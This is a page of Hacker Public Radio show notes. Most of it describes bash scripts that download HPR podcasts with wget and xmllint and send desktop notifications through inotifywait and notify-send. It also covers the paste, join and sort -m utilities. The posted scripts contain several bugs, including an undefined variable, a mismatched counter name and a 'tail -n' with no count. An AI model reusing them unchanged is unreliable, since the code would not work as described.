Hacker Public Radio

This show has been flagged as Clean by the host.





01 Introduction







In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget.



I will illustrate this using a bash script that can be used to download HPR podcasts.



Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.



It is the principles that are discussed here that are important, rather than the implementation.







02



I realize that there are already a number of different podcast download programs available, including at least one written in bash.



However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.



If so, then I hope the following is of some use to you.



If not, then you may still find some of the things discussed here to still be of interest.







Some of the subjects I cover include



wget to a user defined file name.



parsing xml with xmllint.



using inotifywait to trigger an action when a file is created or modified.



using notify-send to send a message to the notification area.



and



a way of allowing a cron job to send a message to the user interface.















03 Background







There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes.



Apparently some people have been experiencing problems with the way the episode URLs are structured.







04



I am afraid that I don't fully understand the nature of these problems, so I won't be addressing that problem directly.



Instead, I will present a bash script that I have written which can be used to download HPR podcasts.



This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.



This is a simplified version of a script that I have used for years to download HPR and other podcasts.







05



I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.



I will instead describe what each section does and why I chose to do things that way.



Perhaps other people can offer suggestions of better ways to do things.



I will post the full bash script in the show notes.















06 Fetching Podcasts







The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.



RSS is a very long established and widely supported mechanism for this and other purposes.



An RSS feed is basically an XML document which can be accessed over HTTP.



These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.







07



Basically what we need to do is the following







• Download the RSS XML document.



• Extract the URL links to the audio files.



• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.







08



• Make a list of the new URLs.



• Go through this list of new URLs and download each of the new audio files.



• Check to see that we actually received the new audio file.



• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs







09



In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.



We may wish to receive a notification of when a new podcast has arrived however.



We would probably also wish to receive notification of any errors or failures.















10 Fetching Podcasts - The Preliminaries







Our desire to be able to run the script automatically imposes some requirements on our solution.



To schedule the script we will use cron.



Cron is a Linux facility to run scripts on a schedule.







11



One of the side effects of using cron however is that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.







12



So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.







I will skip over the details of these, although I may make reference to them later.















13 Get the RSS Data







The first thing of real substance to do is to fetch the current RSS feed data.



I have put this in a bash function called getrssurldata







The contents of this function are a one liner, but with a number of elements chained together through pipes.







14 Downloading the RSS XML Document



• First we use wget, which is a standard command on most Linux distros.



• We specify four things.



• First we set a timeout. I have chosen 20 seconds.



• Next we set the retry limit. I have chosen 3.







15



• Then we specify that the output of wget is sent to stdout rather than saved as a file.



• This is done by using the -O option followed by a space and then a dash.



• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.



• Then we specify the URL of the HPR RSS feed.







16 Contents of the XML Document



This gives us the HPR RSS XML document.



There are about 5,000 lines in this RSS document.



Most of those lines are the show notes which are also included in the feed.







17 Extracting the Podcast Episode URLs



There are only 10 lines of the document that contain information that we are interested in however.



These lines are enclosed in "enclosure" XML tags.



We just need to find those lines and separate out the URLs







18 Standard Command Line Tools



There are two ways that we can do this.



One is to use a combination of grep, sed, and cut.



Grep can find the lines containing the enclosure tags.



Sed and cut can extract the URL from the surrounding extraneous data.







19



However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.



This may be an acceptable problem in practical terms, but we can do better.







20 Using an XML Parser



The other method is to actually parse the XML document.



there are at least two command line XML parsers that I am aware of.



These are "xmllint", and "xlmstarlet".



I have used xmllint in this example.



I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.







21



I won't give a detailed explanation of all the things that xmllint can do.



It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.



Describing everything it can do would be at least one episode in itself.



I will instead just give the particular command used and explain each element of it.







22



In this example assume that we are piping the output of wget directly into xmllint.



The complete command is







xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2







23



In this example,



xmllint is the name of the command.



--xpath tells it to parse the document according to the string which follows.



"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.



The "-" which follows tells it to look for input from stdin rather than from a file.







24



The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.



To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.



We then save the result in a temporary file.























25 Finding the New Episodes







Next we wish to find the new podcast episodes.



Each HPR episode is identified by a unique URL.



This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.







https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3







26



The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.







27



This is simple, but has a drawback.



Some podcasts occasionally change distributors.



When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.







28



With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.







I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.



Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.



It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific.















29 Downloading the New Podcasts







We should now have a list of URLs for the new podcasts we do not already have.



Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.







Therefore, we need to iterate through the file of new podcast URLs and download each one.







30



Before we do that however, we should check to see if there is in fact anything new to download.



To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.







31



If this number is zero, there is nothing to download, we can skip the download step.



As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.



This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.



If we do exceed our download limit, then we need to log an error and skip downloading.







32



Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.



We can do that using the "basename" command.



We will use this to specify the name that we use when we save the audio file.







33



HPR has a very well formed file name.



Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp.







34



Next we download the audio file using wget.







This is similar to how we downloaded the RSS feed, but with a few changes.



One is that I have increased the timeout to 90 seconds.



This may not have been necessary, but seemed like a good idea.







35



The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.







The third is that we specify a destination directory using the -P option.







36



After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.



We did this using an "if" statement with the "-s" option.







If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.







37



If the file was not present, or was zero length, we output an error message to an error log.



I will come back to this point later.







38



Next, if there is more that one podcast to download we sleep for 3 seconds.



While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..







39



After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.



While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.



This limit should be several times bigger than the number of files in the RSS feed.



In this case I selected 50.







40



Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.







We have now successfully downloaded at least one HPR podcast.















41 Notify the User of Events







It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.







One of the limitations of cron jobs is that they cannot access the user interface.



This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.







42 inotifywait



The solution to this is to use "inotifywait" to monitor particular files and directories for changes.







The man page for inotifywait states the following -







43



inotifywait efficiently waits for changes to files using Linux's inotify(7) interface. It is suitable for waiting for changes to files from shell scripts. It can either exit once an event occurs, or continually execute and output events as they occur.







End of quote.







44



In many Linux distros, inotifywait is provided by the "inotify-tools" package.







I won't go over all the features of inotifywait.



Instead, I will just describe how to use it for our purposes here.







45 inotifywait Modes







I should point out first though that inotifywait operates in two different modes.



In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.



In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.



I will use the default mode here.







46



The man page for inotifywait provides a simple example that we could copy and modify for our purposes.



A great many examples that you will find are based on this example.



However, it doesn't quite do what we want, so we need to change a few things.







47 podfetchnotify



The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.



I will call this "podfetchnotify".



The complete scripts are in the show notes, I will just provide a brief description here.







48 Setting Up Event Watches Using inotifywait



The script is enclosed in a while loop which run indefinitely.



In the first line inside the while loop, we call inotifywait.



inotifywait will then block until the event it is told to look for occurs.



In short, execution of the script will wait there until an event occurs.







49



The names of the events are listed in the man file.



In this case we are looking for "modify", "create", and "moved_to".



Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.







50 Problems When Testing Using Text Editors



I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would.



Instead it treats this as a new file with the same name, with the original file being erased.



Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.



If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.







51 Capturing Output



In my example I capture the output from standard out into a variable, but I don't do anything with it.



If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code.



There are details about this in the man page.







On the next line we capture the exit code using "$?"







52 Responding to Exit Codes



If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.



In this case we display a message indicating that a new podcast has arrived.



I will describe how to send notifications shortly.







If the exit code was not zero, then an error occurred.



An example of such an error would be if the directory were not present when monitoring was started.



In this case we display a message indicating that a fatal error has occurred and then exit.







53 Delay for More Podcasts



Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.



In this case I chose to wait for 60 seconds.







54



We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.







55 Sending Notifications to the User



I mentioned above about sending notification messages to the user.



In the Gnome desktop, notification messages appear from the centre of the top bar in a list.



Other desktops or operating systems may have something similar.







56



To send a notification message to the notification area, you use the "notify-send" command.



Simply follow notify-send with a quoted string and it will be displayed in the notification area.











57 podfetcherrornotify



The second shell script is one which notifies the user of errors.



I will call this "podfetcherrornotify".



With this shell script we set up a watch on a file which contains any error messages from podfetch.



This script is very similar to podfetchnotify.







58



The exceptions are



With inotifywait we only monitor for "modify".



There is no sleep command at the end of the loop.



Instead we sleep for a few seconds just after getting the exit code from inotifywait.



This helps prevent problems caused by race conditions.







59



Next we check the inotifywait exit code.



If it was zero, then we read the error report file and send a notification message to the user containing that error message.







60



If it was not zero, then we check to make sure that the directory that should contain the error log exists.



If it does not exist, then we send a notification message to that effect to the user and terminate the script.







61



If the directory exists, then we check to see if the error message file used for signalling exists.



If the file does not exist, then we create it.







62



One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.



By creating the file we correct the cause of the error and allow inotifywait to operate normally.







63



Finally we increment an error counter and check to see if the limit is exceeded.



If there are excessive errors, then send a notification message to the user and exit.



The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.







64



The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.



Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment.



















65 Installing the Scripts







Next I will describe how to install and prepare the scripts to run.



We need to perform the following steps.







66



• First, we need to create a directory to hold the scripts and their associated data files.



• Next we need to create a directory to hold the downloaded podcasts.



• Then we must copy the scripts to these directories and make them executable.



• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.







67



• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.



• Then we need to run each script manually from the command line to check for errors.



• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.







68 Adding podfetch to the Crontab



The above describes how to run the scripts manually.



In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.



To do this, open a terminal.







69



Type "crontab -e", and then press return.



A text editor should open up containing the crontab file.



On Ubuntu, this editor is GNU nano.



Enter the appropriate cron parameters.



I will provide an example here for running it 12 minutes past the hour every three hours.







70



12 */3 * * * /home/username/pathtofiles/podfetch.sh







71



I won't explain cron in detail here.



The example that I have just given should be good enough for most people.



The "*/3" parameter will cause it to run every three hours.



The "12" parameter will cause it to run 12 minutes past the hour when it does run.







72



Checking every three hours should be good enough for most people, but you can adjust that as you see fit.



I would recommend however that you don't check more frequently than once per hour.



Checking more frequently than necessary puts extra load on the distribution servers.



It is very unlikely that you really do need each new episode the moment it is available.







73



I would also recommend changing the "12" parameter to some other random minute value.



I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.







74



The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.







75 Making the Notification Scripts Start Automatically



The two notification scripts can be made to start automatically.



The exact method to do this may vary according to distribution or desktop.







76



On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.







77



I won't go into details on this here, it should be fairly self evident how to use it once you see it.



What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.







78



These ".desktop" files are all run automatically on start up.



Once you have added the notification scripts, you will need to log out and then log back in to make them active.



















79 Conclusion







I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival.







80



The download script described here is tailored specifically for use with HPR only.



However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.



If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.







81



In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.







I look forward to seeing you again later on another episode of Hack Public Radio.











# ======================================================================







podfetchdownloader







#!/bin/bash







# Fetch pending HPR podcasts listed in the HPR RSS feed.



# 8-Jun-2026



# Licensed under GPLv3 or later.







# ======================================================================











# Today's date and time as YYYYMMDDHHMMSS.



podttimestamp=$( date +"%Y%m%d%H%M%S" )







# The absolute path to the script. This is necessary when running it



# using a cron job.



podpath="/home/me/Apps/hprfetch"







# This is the absolute path to where to store the podcast files.



podfilepath="/home/me/Music/Podcasts/HPR"







# Create the full path names here for all the text files used.



podcastsfetched="$podpath/podcastsfetched.txt"



poderrorslog="$podpath/poderrorslog.txt"



poderrorsreport="$podpath/poderrorsreport.txt"







tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"



tmppodsnew="$podpath/tmppodsnew.txt"



tmppodstodownload="$podpath/tmppodstodownload.txt"



tmppodserrors="$podpath/tmppodserrors.txt"



tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"



tmplog="$podpath/tmplog.txt"







# The URL for the HPR RSS feed.



PodURL="http://hackerpublicradio.org/hpr_rss.php"







# Limit on number of podcasts to download.



DownloadLimit=11







# Name of the podcast.



PodName="Hacker Public Radio"







# ======================================================================







# Check if the required paths exist.



# If this path does not exist, cannot log the error.



if [[ ! -d "$podpath/" ]]; then



echo "$podttimestamp Error - Could not find $podfilepath."



exit 1



fi







# Where to store the podcast file fetched.



if [[ ! -d "$podfilepath/" ]]; then



echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors



# Copy the errors log from the temporary errors file to the permanent files.



LogErrors



exit 1



fi







# ======================================================================







# Check if the podcast log exists. We read it before we write to it,



# so it must exist or we will hang on it not being present.



if [[ ! -e $podcastsfetched ]]; then



touch $podcastsfetched



fi











# ======================================================================







# Delete the specified files if they exist.



# This accepts multiple file names in a variable number of parameters.



CleanupFiles ()



{



# $@ accepts multiple parameters.



for f in "$@"; do



# Check if the file exists.



if [ -e "$f" ]; then



rm "$f"



fi



done



}







# ======================================================================







# Copy the errors log from the temporary errors file to the permanent files.



LogErrors () {



if [ -e $tmppodserrors ]; then



# The permanent log.



cat $tmppodserrors >> $poderrorslog



# This file is monitored for display by other scripts.



cat $tmppodserrors > $poderrorsreport



fi



}











# ======================================================================











# Get the URL data from an RSS feed



GetRSSURLData () {







wget --timeout=20 --tries=3 -O - "$PodURL" \



| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \



| sort > $tmppodsnew







# This is an alternate method that does not use xmllint.



# However, it is not as robust. If someone were to include the



# first grep search pattern in their show notes, then it would



# look for that as a valid tag and output the following text



# as a URL.



#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "<enclosure url=" \



# | sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \



# | cut -d'"' -f2 | sort > $tmppodsnew











}











# ======================================================================







# Find which podcasts we do not already have.



FindNewPodcasts () {











cat $podcastsfetched | sort > $tmpoldurlssorted



comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload







rm $tmpoldurlssorted







}







# ======================================================================







# Download the podcasts.



DownloadPodcasts() {







# Clear out previous temporary list of downloaded podcasts.



true > $tmppodcastsfetched











for i in $( cat $tmppodstodownload )



do







# Extract the file name from the URL.



fname=$( basename $i )



outputpodname="$podfilepath/$fname"







# Download the file.



wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"







# Check if the file exists and is not empty.



if [[ -s "$outputpodname" ]]; then



echo $i >> $tmppodcastsfetched



else



echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors



fi











# Delay a reasonable length of time between multiple downloads.



if (( $PodCount > 1 )); then



sleep 3



fi







done







# Add the list of files downloaded to the log.



# Check if the list exists and is not empty.



if [ -s $tmppodcastsfetched ]; then



cat $tmppodcastsfetched >> $podcastsfetched



# Trim the log file to keep it from growing indefinitely.



tail -n50 $podcastsfetched > $tmplog



mv $tmplog $podcastsfetched



fi







# Remove the tmp file now that we are done with it.



rm $tmppodcastsfetched







}











# ======================================================================







# Clean up any left over files.



CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"











# Get the RSS data.



GetRSSURLData







# Find which podcasts are new.



FindNewPodcasts







# Count how many new podcasts there are.



PodCount=$( cat $tmppodstodownload | wc -l )











# If no podcasts to download, skip this.



# If too many podcasts for this feed, then log an error and skip.



# This error will keep repeating until something is done about it.



if (( $PodCount > 0 )); then



if (( $PodCount > $DownloadLimit )); then



echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors



else



# Download the podcasts listed in the temp file.



DownloadPodcasts



fi



fi







# ======================================================================







# Copy the errors log from the temporary errors file to the permanent files.



LogErrors







# Clean up temp files.



CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"







# ======================================================================







END OF FIRST SHELL SCRIPT











START OF SECOND SHELL SCRIPT







podfetchnotify















#!/bin/bash







# Part of Podfetch.



# This monitors for new files appearing in the new podcasts directory.



# This should be run as a background task.



# Install it using the "Startup Applications" utility in Ubuntu.







# ======================================================================







# Path where new podcasts are to be stored.



podfilepath="/home/me/Music/Podcasts/HPR"







# ======================================================================







# Wait for the podcast directory to be modified.



while true; do







# Check for new files.



errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )



result=$?











# Check if exited due to new podcast, or if some error.



if (( result == 0 )); then



# Success, signal new podcast.



notify-send "New HPR podcast available."



else



# Check to make sure the directory exists.



# If it doesn't exist, there isn't much we can do to fix it.



if [ ! -e "$poderrorspath" ]; then



notify-send "Podfetch error: Podcast directory not found $poderrorspath"



exit 1



fi



fi







# Wait a bit so that multiple new files don't keep re-triggering the notification.



sleep 60







done







# ======================================================================







END OF SECOND SHELL SCRIPT











START OF THIRD SHELL SCRIPT







podfetcherror



Created Tuesday 23 June 2026







#!/bin/bash







# Part of Podfetch.



# This monitors the Podfetch error reporting file for new errors.



# This should be run as a background task.



# Install it using the "Startup Applications" utility in Ubuntu.







# ======================================================================







# Where the Podfetch program error report file is located.



poderrorspath="/home/me/Apps/hprfetch"







# The full path and file name.



poderrorsreport="$poderrorspath/poderrorsreport.txt"







# ======================================================================







# Error counter.



errcount=0







# Wait for the poderrorsreport file to be modified.



while true; do







errmsg=$( inotifywait -e modify $poderrorsreport )



result=$?







# Wait a bit to ensure that writing to the file is complete.



sleep 3







if (( result == 0 )); then



# Get the latest error message.



# Cut out the date stamp at the start of the line and take the rest.



poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )







notify-send "Podfetch error: $poderr"







# Reset the error counter every time there is a successful result.



errcount=0







else



# Check to make sure the directory exists.



if [ ! -e "$poderrorspath" ]; then



notify-send "Podfetch error: error report path not found $poderrorspath"



exit 1



fi







# Check if the file we are trying to monitor exists.



# If not, then create an empty file for error signaling.



if [ ! -e "$poderrorsreport" ]; then



echo > $poderrorsreport



fi







# Increment the error counter.



count=$(( count + 1 ))



if (( count > 3 )); then



notify-send "Podfetch error: Excessive unknown errors, exiting."



exit 1



fi







fi







done







# ======================================================================









Provide feedback on this episode.

This show has been flagged as Clean by the host.

ether



This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.


I frequently find myself reaching for the
cut
utility when writing scripts to extract one piece of data from a line, or to select specific fields from a log file. While I am familiar with its counterpart,
paste
, I don't employ it very often because I don't typically need its functionality.



This perhaps has to do with the fact that I rarely work with text files containing lists. For shorter lists, I usually end up using a spreadsheet and for larger ones, a relational database. Both are valuable tools with their own strengths and weaknesses, but it is good to also know about standard utilities for working with lists. After uploading UNIX Curio #8 (
HPR episode 4657
), I felt like maybe I had been too dismissive of the
comm
utility in that episode and should talk more about tools that are useful when managing lists.



I don't frequently find myself using


paste




1
, but can explain how it works. Briefly, it is a rough opposite of
cut
—when given multiple files as arguments, it assembles the first line from each one separated by tabs, then the second line, and so on. Instead of tabs, a different delimiter can be chosen with the
-d
option. Another option is
-s
, which swaps rows and columns so that the contents of each named file would appear on one line. While
paste
itself doesn't qualify as a UNIX Curio in my opinion, there is one feature that does: a hyphen can be given as an argument multiple times. In this special case, the output is taken line by line from standard input, but is spread across as many columns as there are hyphens.





Example of using




paste




to turn the output of




ls




into columns. Because these columns are separated by tabs, they don't necessarily line up when a filename is eight or more characters long. The




-1




is not required for the second




ls




command since that behavior is implied when output isn't going to a terminal. The




-C




option to




ls




usually gives nicer-looking output on a terminal—also, it lists in ascending order down by column. (Most implementations default to




-C




when output goes to a terminal.) If you want items ascending along rows like the




paste




example does, try




ls -x




instead.




$ ls -1 /proc/net
anycast6
arp
bnep
connector
dev
dev_mcast
dev_snmp6
fib_trie
fib_triestat
hci
icmp
icmp6
if_inet6
igmp
igmp6
ip6_flowlabel
ip6_mr_cache
ip6_mr_vif
ip_mr_cache
ip_mr_vif
ip_tables_matches
ip_tables_names
[...35 more entries not shown...]
$ ls /proc/net | paste - - - -
anycast6 arp bnep connector
dev dev_mcast dev_snmp6 fib_trie
fib_triestat hci icmp icmp6
if_inet6 igmp igmp6 ip6_flowlabel
ip6_mr_cache ip6_mr_vif ip_mr_cache ip_mr_vif
ip_tables_matches ip_tables_names ip_tables_targets ipv6_route
l2cap mcfilter mcfilter6 netfilter
netlink netstat packet protocols
psched ptype raw raw6
rfcomm route rt6_stats rt_acct
rt_cache sco snmp snmp6
sockstat sockstat6 softnet_stat stat
tcp tcp6 udp udp6
udplite udplite6 unix wireless
xfrm_stat
$ ls -C /proc/net
anycast6 if_inet6 l2cap rfcomm tcp
arp igmp mcfilter route tcp6
bnep igmp6 mcfilter6 rt6_stats udp
connector ip6_flowlabel netfilter rt_acct udp6
dev ip6_mr_cache netlink rt_cache udplite
dev_mcast ip6_mr_vif netstat sco udplite6
dev_snmp6 ip_mr_cache packet snmp unix
fib_trie ip_mr_vif protocols snmp6 wireless
fib_triestat ip_tables_matches psched sockstat xfrm_stat
hci ip_tables_names ptype sockstat6
icmp ip_tables_targets raw softnet_stat
icmp6 ipv6_route raw6 stat
$ ls -x /proc/net
anycast6 arp bnep connector dev
dev_mcast dev_snmp6 fib_trie fib_triestat hci
icmp icmp6 if_inet6 igmp igmp6
ip6_flowlabel ip6_mr_cache ip6_mr_vif ip_mr_cache ip_mr_vif
ip_tables_matches ip_tables_names ip_tables_targets ipv6_route l2cap
mcfilter mcfilter6 netfilter netlink netstat
packet protocols psched ptype raw
raw6 rfcomm route rt6_stats rt_acct
rt_cache sco snmp snmp6 sockstat
sockstat6 softnet_stat stat tcp tcp6
udp udp6 udplite udplite6 unix
wireless xfrm_stat



The
paste
command has limitations—the files you give it must all be already arranged in the same order, and if any file is missing a value, it must have a blank line so that subsequent lines will match up correctly. The files do
not
necessarily have to be sorted alphabetically, but whatever order they are in has to be the same. Check out HPR episodes
962
and
4201
for some more background on the
paste
utility.





Example of using




paste




with files where some values are empty. Bob works from home so doesn't have an office assigned, and the laboratory Carol works in doesn't have a phone. This relies on the fact that the same line number in every file relates to the same person/entry.




$ cat names
Alice
Bob
Carol
Dave
$ cat offices
203

Lab6A
117
$ cat phones
+1 212-555-1234
+1 919-555-2345

+1 212-555-1278
$ paste names offices phones
Alice 203 +1 212-555-1234
Bob +1 919-555-2345
Carol Lab6A
Dave 117 +1 212-555-1278



Our second UNIX Curio for today is
a utility called




join




2
, which has a bit more sophistication. It operates on two files, which can have multiple columns, and combines them using the join field. By default, the first column/field in each file is the join field, and only entries that exist in both files are printed. The
-1
and
-2
options can be used to join on a different field, and
-o
selects specific fields to be output. To make it so lines with missing entries also appear, you need to use the
-a
option, but an actual empty string with separator won't be printed unless
-o
is also present and includes the field.



The default field separator character is one or more "blanks" in the current locale—for the POSIX locale, this means a space or a horizontal tab. The
-t
option selects a different character and also removes the treatment of multiple occurrences as a single separator, making it possible to have an empty field in one or both of the files. By default, a single space is used to separate fields in the output. If
-t
is given, the same character is used for separating fields in both input and output. You would need to pipe output through another tool like
tr
if you wanted to have a different separator in the output.



The
join
utility might be an improvement over
paste
in some cases, since the join field makes it a little easier to identify which entries match up across files. It is limited to operating only on two files (one of which can be standard input), so combining more than that requires either creating temporary intermediate files or chaining together
join
commands in a pipeline. Another requirement is that all files must already be sorted in the current locale.





Example showing how




join




can be used with two tab-separated lists. The LC_ALL assignment forces




join




to sort using the C (POSIX) locale instead of whatever might be set in your environment. The "@" on the header line has no special meaning; it is just there to make sure it sorts before any letters or numbers (in the C locale; it might not in other locales). Note that if




-t




were not specified,
plist
would be treated as having three fields because of the space separating the country code from the rest of the phone number.




$ export tab="$(printf '\t')" #To more easily use tab characters below
$ cat olist
@Name Office
Alice 203
Carol Lab6A
Dave 117
$ cat plist
@Name Phone
Alice +1 212-555-1234
Bob +1 919-555-2345
Dave +1 212-555-1278
$ LC_ALL=C join -t "$tab" olist plist
@Name Office Phone
Alice 203 +1 212-555-1234
Dave 117 +1 212-555-1278
$ LC_ALL=C join -t "$tab" -a 1 -a 2 olist plist
@Name Office Phone
Alice 203 +1 212-555-1234
Bob +1 919-555-2345
Carol Lab6A
Dave 117 +1 212-555-1278
$ #By default, join acts as if empty fields don't exist; use -o to include
$ LC_ALL=C join -t "$tab" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name Office Phone
Alice 203 +1 212-555-1234
Bob +1 919-555-2345
Carol Lab6A
Dave 117 +1 212-555-1278
$ #The -e option sets a placeholder to use for empty fields
$ LC_ALL=C join -t "$tab" -e "(none)" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name Office Phone
Alice 203 +1 212-555-1234
Bob (none) +1 919-555-2345
Carol Lab6A (none)
Dave 117 +1 212-555-1278



The brief description for
join
is "relational database operator"—I won't dispute that, but in my view it offers far fewer capabilities than people would expect from today's relational databases. I would imagine that when most people think of those they have Structured Query Language (SQL) in mind, which offers a lot more flexibility and functions to operate on data. However, I can see how
join
could be suitable for simple operations.



Our last UNIX Curio for today relates to
the




sort




utility


3
. While, as you might expect, it is well-known for its ability to sort data, it has another feature that is more obscure. When used with the
-m
option, instead of sorting the files given as arguments, it merges them together. All of the files are expected to already be sorted—once combined, the list that is output will also be sorted. The order in which the files are named does
not
matter; it is not required for the contents of the first file to start before the second, just that both are sorted.



$ cat women
Alice
Carol
$ cat men
Bob
Dave
$ sort -m men women
Alice
Bob
Carol
Dave



Imagine that you organize an annual event and have a separate pre-sorted list of attendees' e-mail addresses for each of the past three years. You are planning this year's event and want to send out an announcement to all of these people, as they will probably be interested. The command
sort -m -u 2023list 2024list 2025list
would spit out a combined list that you can use for your e-mail blast. Because it is likely that some people would have attended in more than one year, I included the
-u
option—it removes any duplicate entries.



It is probably no surprise that the
sort
utility appeared early on—it was in 1971's First Edition UNIX, though it didn't
gain the merging functionality until Fifth Edition


4
in 1973. What
did
come as a shock to me is that both
cut
and


paste




didn't show up until 1980 with System III


5
, and were actually preceded by


join




, which was in Seventh Edition UNIX


6
from 1979. I assumed that at least
cut
would have been around far earlier, given its usefulness and how firmly established it is, but I suppose it just
seems
to have been with us forever.



As mentioned, I don't typically manage data as text files containing lists, and I probably won't start using the
join
utility or these features of
paste
and
sort
very much. But it is still useful to know that they exist and how they work. Hopefully this episode has taught you a bit about them.



References:







Paste specification
https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html





Join specification
https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html





Sort specification
https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html





A Research UNIX Reader: Fifth Edition sort manual page
https://archive.org/details/a_research_unix_reader/page/n19/mode/1up





System III paste manual page
https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1





Seventh Edition UNIX join manual page
https://man.cat-v.org/unix_7th/1/join







Provide feedback on this episode.

This show has been flagged as Explicit by the host.

Show Notes

Episode Overview

